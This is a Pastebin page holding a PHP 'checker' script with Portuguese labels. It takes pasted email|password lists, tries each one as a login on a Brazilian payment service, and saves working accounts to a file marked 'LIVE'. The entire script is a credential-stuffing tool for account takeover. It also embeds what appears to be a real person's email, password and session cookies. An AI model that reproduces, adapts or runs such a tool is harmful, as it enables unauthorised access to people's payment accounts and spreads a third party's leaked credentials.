Advertisement
Guest User

Untitled

a guest
Mar 19th, 2016
521
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.19 KB | None | 0 0
  1. <?php
  2. $sock = '';
  3. error_reporting(0);
  4. function getStr($string,$start,$end){
  5.     $str = explode($start,$string);
  6.     $str = explode($end,$str[1]);
  7.     return $str[0];
  8. }
  9. class cURL {
  10.     var $callback = false;
  11.     function setCallback($func_name) {
  12.         $this->callback = $func_name;
  13.     }
  14.  
  15. function doRequest($method, $url) {
  16.         $ch = curl_init();
  17.         global $email, $pwd , $token;
  18.         curl_setopt($ch, CURLOPT_URL, $url);
  19.         curl_setopt($ch, CURLOPT_HEADER, 1);
  20.         curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // RADOM DOS NAVEGADORES
  21.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  22.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  23.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  24.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  25.         curl_setopt($ch, CURLOPT_COOKIEJAR, 'ML.txt');
  26.         curl_setopt($ch, CURLOPT_COOKIE, '_ga=GA1.3.2038612774.1458387019; clientId=2038612774.1458387019; village=fg737pstd74t1pff5va1pc75n5; __asc=9c36c3211538edd712c7d5c90ca; __auc=9c36c3211538edd712c7d5c90ca; __lc.visitor_id.4175701=S1458391548.07f3754221; lc_window_state=minimized; _gat=1; _dc_gtm_UA-32662106-1=1');
  27.         //curl_setopt($ch, CURLOPT_REFERER, 'https://www.amazon.com/ap/signin?_encoding=UTF8&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.pape.max_auth_age=0&ie=UTF8&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.assoc_handle=lwa_na&marketPlaceId=ATVPDKIKX0DER&arb=f4c3f779-e6e2-4a37-ae1e-dcc42ce373c6&language=pt_BR&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Fap%2Foa%3FmarketPlaceId%3DATVPDKIKX0DER%26arb%3Df4c3f779-e6e2-4a37-ae1e-dcc42ce373c6&enableGlobalAccountCreation=1&metricIdentifier=amzn1.application.d5c93304fbc34a8c8235a2354ceced00&signedMetricIdentifier=KEDpVNUEOgxrcozY73yvIkJIvZYDTLlxvG%2BLKStrfzo%3D');
  28.         curl_setopt($ch, CURLOPT_VERBOSE, 1);
  29.         if ($method == 'POST') {
  30.             curl_setopt($ch, CURLOPT_POST, 0);
  31.             curl_setopt($ch, CURLOPT_POSTFIELDS, '_username=robsthainey%40yahoo.com.br&_password=agent007');
  32.         }
  33.       $data = curl_exec($ch);
  34.         curl_close($ch);
  35.         if ($data) {
  36.             if ($this->callback) {
  37.                 $callback = $this->callback;
  38.                 $this->callback = false;
  39.                 return call_user_func($callback, $data);
  40.             } else {
  41.                 return $data;
  42.             }
  43.         } else {
  44.             return curl_error($ch);
  45.         }
  46.     }
  47.     function get($url) {
  48.         return $this->doRequest('GET', $url, 'NULL');
  49.     }
  50.     function post($url) {
  51.         return $this->doRequest('POST', $url);
  52.     }
  53. }
  54.  
  55. echo '
  56. <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  57. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  58. <head><title>TESTADOR ML</title></head>
  59. <style>
  60.             body
  61.         {
  62.             background-color: #141619;
  63.             font-size: 9pt;
  64.             font-family:Verdana;
  65.             line-height:12pt;
  66.             color: #FFFFFF;
  67.         }
  68.             body,td,th {
  69.             color: #FFFFFF;
  70.         }
  71.         h2
  72.         {
  73.             color: #FFFFFF;
  74.         }
  75.         h1 {
  76.             padding: 10px 15px;
  77.             color: red;
  78.         }
  79.  
  80.         .main-content {
  81.                 width: 70%; height: 380px;margin: auto; background: #141619;      border-radius: 5px 5px 5px 5px; box-shadow: 0 0 3px rgba(0, 0, 0, 0.5); min-height: 380px;      position: relative;
  82.         }
  83.         textarea, input {
  84.                 border-radius: 5px 5px 5px 5px;
  85.         }
  86.         input {
  87.                 height: 14px;width: 30px;text-align: center;o
  88.         }
  89.            
  90.            
  91.         .button {
  92.                
  93.         }
  94.         .submit-button
  95.                 {
  96.                         background: #57A02C;
  97.                         border:solid 1px #57A02C;
  98.                         border-radius:5px;
  99.                                 -moz-border-radius: 5px;
  100.                                 -webkit-border-radius: 5px;
  101.                         -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  102.                         -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  103.                         text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  104.                         border-bottom: 1px solid rgba(0,0,0,0.25);
  105.                         position: relative;
  106.                         color:#FFF;
  107.                         display: inline-block;
  108.                         cursor:pointer;
  109.                         font-size:13px;
  110.                         padding:3px 8px;
  111.                         height: 30px;width: 120px;
  112.                 }
  113.        .submit-button:hover {
  114.        background:#82D051;border:solid 1px #86CC50;
  115.        height: 30px;width: 120px;      }
  116.  
  117.         #show {
  118.                 width: 70%;margin: auto;padding: 10px 10px;
  119.         }
  120.  
  121.         .business{
  122.             font-weight:bold;
  123.             color:yellow;
  124.         }
  125.         .premier{
  126.             font-weight:bold;
  127.             color:#00FF00;
  128.         }
  129.         .verified{
  130.             font-weight:bold;
  131.             color:#006DB0;
  132.         }
  133.         .fieldset{
  134.             border: 1px dashed #FFFFFF;
  135.             margin-top: 20px;
  136.         }
  137.         .tvmit_live{
  138.             border: 1px dashed #FFFFFF;
  139.             color:yellow;
  140.             font-weight:bold;
  141.         }
  142.         .tvmit_die{
  143.             border: 1px dashed #FFFFFF;
  144.             color:red;
  145.             font-weight:bold;
  146.         }
  147.         #result{
  148.             display:none;
  149.         }
  150.     </style>
  151.    
  152.    <script type="text/javascript">
  153.        function pushPaypalDie(str){
  154.            document.getElementById(\'listPaypalDie\').innerHTML += \'<div>\' + str + \'</div>\';
  155.        }
  156.        function pushPaypal(str){
  157.            document.getElementById(\'listPaypal\').innerHTML += \'<div>\' + str + \'</div>\';
  158.        }
  159.        function pushWrongFormat(str){
  160.            document.getElementById(\'listWrongFormat\').innerHTML += \'<div>\' + str + \'</div>\';
  161.        }
  162.    </script>
  163. </head>
  164. <body>
  165. <div class="main-content">
  166. <center><h1>TESTADOR ML</h1></center>
  167. <form method="post">
  168. <div align="center"><textarea name="mp" rows="10" style="width:90%">';
  169. if (isset($_POST['btn-submit']))
  170.     echo $_POST['mp'];
  171. else
  172.     echo 'EMAIL|SENHA';
  173. ;
  174. echo '</textarea><br />
  175. SEPARADOR: <input type="text" name="delim" value="';
  176.  
  177. if (isset($_POST['btn-submit']))
  178.     echo $_POST['delim'];
  179. else
  180.     echo '|';
  181. ;
  182. echo '" size="1" /><input type="hidden" name="mail" value="';
  183. if (isset($_POST['btn-submit']))
  184.     echo $_POST['mail'];
  185. else
  186.     echo 0;
  187. ;
  188. echo '" size="1" /><input type="hidden" name="pwd" value="';
  189. if (isset($_POST['btn-submit']))
  190.     echo $_POST['pwd'];
  191. else
  192.     echo 1;
  193. ;
  194. echo '" size="1" />&nbsp;
  195.  
  196. <input type="submit" class = "submit-button" value="CHECAR" name="btn-submit" /> </br>&nbsp;&nbsp;&nbsp;&nbsp;
  197. </div>
  198. </form>
  199. ';
  200. set_time_limit(0);
  201. //include("use.php");
  202. function fetch_value($str, $find_start, $find_end) {
  203.     $start = strpos($str, $find_start);
  204.     if ($start === false) {
  205.         return "";
  206.     }
  207.     $length = strlen($find_start);
  208.     $end = strpos(substr($str, $start + $length), $find_end);
  209.     return trim(substr($str, $start + $length, $end));
  210. }
  211. function fetch_value_notrim($str, $find_start, $find_end) {
  212.     $start = strpos($str, $find_start);
  213.     if ($start === false) {
  214.         return "";
  215.     }
  216.     $length = strlen($find_start);
  217.     $end = strpos(substr($str, $start + $length), $find_end);
  218.     return substr($str, $start + $length, $end);
  219. }
  220. $dir = dirname(__FILE__);
  221.  
  222. $zzz = "";
  223. $live = array();
  224. function get($list) {
  225.     preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  226.     return $socks[0];
  227. }
  228. function delete_cookies() {
  229.     global $config;
  230.     $fp = @fopen($config['cookie_file'], 'w');
  231.     @fclose($fp);
  232. }
  233. function xflush() {
  234.     static $output_handler = null;
  235.     if ($output_handler === null) {
  236.         $output_handler = @ini_get('output_handler');
  237.     }
  238.  
  239.    if ($output_handler == 'ob_gzhandler') {
  240.         return;
  241.     }
  242.    
  243.     flush();
  244.     if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  245.         @ob_flush();
  246.     } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  247.         @ob_end_flush();
  248.         @ob_start();
  249.     }
  250. }
  251. function curl_grab_page($site,$proxy,$proxystatus){
  252.     $chss = curl_init();
  253.     curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
  254.     if ($proxystatus == 'on') {
  255.                 curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
  256.                 curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
  257.                 curl_setopt($chss, CURLOPT_PROXY, $proxy);
  258.             }
  259.             curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
  260.             curl_setopt($chss, CURLOPT_URL, $site);
  261.             return curl_exec($chss);
  262.             curl_close ($chss);
  263.            
  264. }
  265. function display($str) {
  266.     echo '<div>' . $str . '</div>';
  267.     xflush();
  268. }
  269. //function pushSockDie($str) {
  270.    // echo '<script type="text/javascript">pushSockDie(\'' . $str . '\');</script>';
  271.   //  xflush();
  272. //}
  273. function pushPaypalDie($str) {
  274.     echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
  275.     file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND);  
  276.     xflush();
  277. }
  278. function pushPaypal($str) {
  279.     echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
  280.     file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND);  
  281.     xflush();
  282. }
  283. function pushWrongFormat($str) {
  284.     echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
  285.     xflush();
  286. }
  287.  
  288. if (isset($_POST['btn-submit'])) {
  289.     ;
  290.     echo '<br/>
  291. <br/>
  292. <br/>
  293. <br/>
  294. <br/>
  295. <br/>
  296. <br/>
  297. <legend class="tvmit_live">LIVE:<br/><div id="listPaypal"></div></legend>
  298. <br/>
  299. <legend class="tvmit_die">DIE:<br/><div id="listPaypalDie"></div></legend>
  300. <br/>
  301. <legend class="tvmit_die">INVALIDAS: <br/><div id="listWrongFormat"></div></legend>
  302.  
  303.  
  304. ';
  305.     xflush();
  306.     $emails = explode("\n", trim($_POST['mp']));
  307.     $eCount = count($emails);
  308.     $failed = $live = $uncheck = array();
  309.     $checked = 0;
  310.     if (!count($emails)) {
  311.         continue;
  312.     }
  313.     delete_cookies();
  314.     //$sockClear = isSockClear();
  315.     //if ($sockClear != 1) {
  316.         //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
  317.         //continue;
  318.     //}
  319.  
  320.     foreach ($emails AS $k => $line) {
  321.         $info = explode($_POST['delim'], $line);
  322.         $email = trim($info["{$_POST['mail']}"]);
  323.         $pwd = trim($info["{$_POST['pwd']}"]);
  324.         if (strlen($pwd) < 2) {
  325.             unset($emails[$k]);
  326.             pushWrongFormat($email . ' | ' . $pwd);
  327.             continue;
  328.         }
  329.         //if ($failed[$sock] > 4)
  330.          //   continue;
  331. if(file_exists('ML.txt')) {
  332.         unlink('ML.txt');
  333.     }
  334.    
  335.    
  336.     $c = new cURL();
  337.     $d = $c->post("https://minhaconta.payleven.com.br/login_check");
  338.  
  339.  
  340.     //
  341.    
  342. $checked++;
  343.  
  344.  
  345.     if($d){
  346.    
  347.    
  348.           if (strpos($d,'Bad credentials.') == false) {
  349.           $m = $c->get("https://minhaconta.payleven.com.br/account/");
  350.  
  351.        
  352.             $xyz = "<b style=\"color:green\">Live</b> => <b style=\"color:green\" >$email<b> | $pwd |  <b style=\"color:red\">#CHECKER SIMPLAO</b>";
  353.             $live[] = $xyz;
  354.             unset($emails[$k]);
  355.             pushPaypal($xyz);
  356.            
  357.             }
  358.             else{
  359.                
  360.            
  361.                 pushPaypalDie("<b style=\"color:red\">Die</b> =>  $email | $pwd ");
  362.                
  363.             unset($emails[$k]);
  364.            
  365.                  
  366.             }
  367.        
  368.     }
  369.     }
  370. }
  371. //if (isset($eCount, $live)) {
  372. //    display("<h3>Total: $eCount - Testado: $checked - Aprovado: " . count($live) . "</h5>");
  373. //    display(implode("<br />", $live));
  374.     if (count($emails)) {
  375.         display("Sem Testar:");
  376.         display('<textarea cols="80" rows="10">' . implode("\n", $emails) . '</textarea>');
  377.     }
  378.  
  379. echo '</body>
  380. </html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement